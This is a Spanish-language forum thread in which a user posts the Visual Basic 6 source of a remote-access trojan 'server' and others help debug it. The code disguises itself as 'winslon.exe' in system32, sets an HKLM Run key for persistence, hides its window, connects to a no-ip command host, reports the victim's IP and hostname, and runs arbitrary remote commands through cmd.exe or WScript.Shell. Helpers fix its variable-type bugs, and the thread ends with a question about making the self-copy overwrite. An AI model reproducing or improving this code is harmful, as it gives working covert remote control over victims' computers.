porque me sale este error

[shadow.darknesses]

miren esta parte , es pa ejecutar una ruta

pero no me funca
me sale el error que ven
pero con esto Shell "cmd.exe /c start " & vdata(1)
si me funca pero con esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run vdata(1)
nooo, no entiendo, ya esta declarada la variable y too
me puede ayudar xfavor
Saludos....

[CeLaYa]

y la variable como la tienes declarada??? huh:

o podria ser que no tengas la referencia al "Microsoft Scripting Runtime", para agregar esta referencia selecciona el menú: Proyecto -> Referencias y agregar la librería "scrrun.dll"

[shadow.darknesses]

pero si yo coloko esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run "www.latin-hackgt.tk"
asi si funciona y no ponga nada, solo este code
xq no funca cuando pongo esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run vdata(1)
si es lo mismo , solo que te lo manda el cliente

[CeLaYa]

Pues eso si que esta raro  , y porque mejor no pones el control de errorres desde el inicio del procedimiento y salte al final del proc. cuando se provoque el error.

Código [Seleccionar] Expandir


Private Ws_DataArrival (....

On Local error Goto LineaXXX
...
...
...


LineaXXX
    Msgbox Err.Number & Err.Description
On Local error goto 0
end sub


esto lo digo porque veo que usas el control de errores pero se esta cortando la ejecución,entonces tal vez el error se genere antes de eso, si no, entonces revisa bien la declaración de variables, te recomiendo que pongas la instruccion "Option Explicit"

[Hans el Topo]

puede que falte el new?

Código [Seleccionar] Expandir

Set ruta = new CreateObject("WScript.Shell")

[shadow.darknesses]

Pues eso si que esta raro  , y porque mejor no pones el control de errorres desde el inicio del procedimiento y salte al final del proc. cuando se provoque el error.

Código [Seleccionar] Expandir


Private Ws_DataArrival (....

On Local error Goto LineaXXX
...
...
...


LineaXXX
    Msgbox Err.Number & Err.Description
On Local error goto 0
end sub


esto lo digo porque veo que usas el control de errores pero se esta cortando la ejecución,entonces tal vez el error se genere antes de eso, si no, entonces revisa bien la declaración de variables, te recomiendo que pongas la instruccion "Option Explicit"

si pongo "option Explicit", siempre xD
mira aki sale el error

y este es el code

Código [Seleccionar] Expandir

Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, ruta As String
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
Shell "cmd.exe /c start " & vdata(1)
'Set ruta = CreateObject("WScript.Shell")ruta.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub

Saludos... gracias =

[CeLaYa]

pues creo que ya encontre el problema, lo que veo esque tienes 2 veces declarada la variable "ruta", en la parte de declaraciones generales la tienes como Variant y en el evento DataArrival aparece otra ves pero como string

Código [Seleccionar] Expandir


Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant


Código [Seleccionar] Expandir


Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, ruta As String
Dim vdata() As String


[shadow.darknesses]

cuando lei tu respuesta pense que ese era el error pero no

Código [Seleccionar] Expandir

Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, rutai As String
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
'Shell "cmd.exe /c start " & vdata(1)
Set rutai = CreateObject("WScript.Shell")
rutai.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub
ahora ese code es
y me sale el mismo error

[CeLaYa]

el erro es que rutai  es de tipo string, y solo te va  a almacenar cadenas de texto

cambia:

Código [Seleccionar] Expandir

Set rutai = CreateObject("WScript.Shell")
por

Código [Seleccionar] Expandir

Set ruta = CreateObject("WScript.Shell")
y asi se debe de corregir tu problema

[shadow.darknesses]

ya encntre el error, se declara como variant xD, no como string, xD xq?
y como puedo hacer, miren este code del server

Código [Seleccionar] Expandir

Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName & "|" & App.Major & "." & App.Minor & "." & App.Revision & "|" & Ws.LocalPort
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, rutai As Variant
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
Set rutai = CreateObject("WScript.Shell")
rutai.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub

en la parte que se copia a system32, ya yo lo abro y se copia todo bien, lo abro de nuevo y no reemplaza el archivo si no que keda el primer archivo ejecutado, como ago para que lo reemplaze??
Gracias y saludos...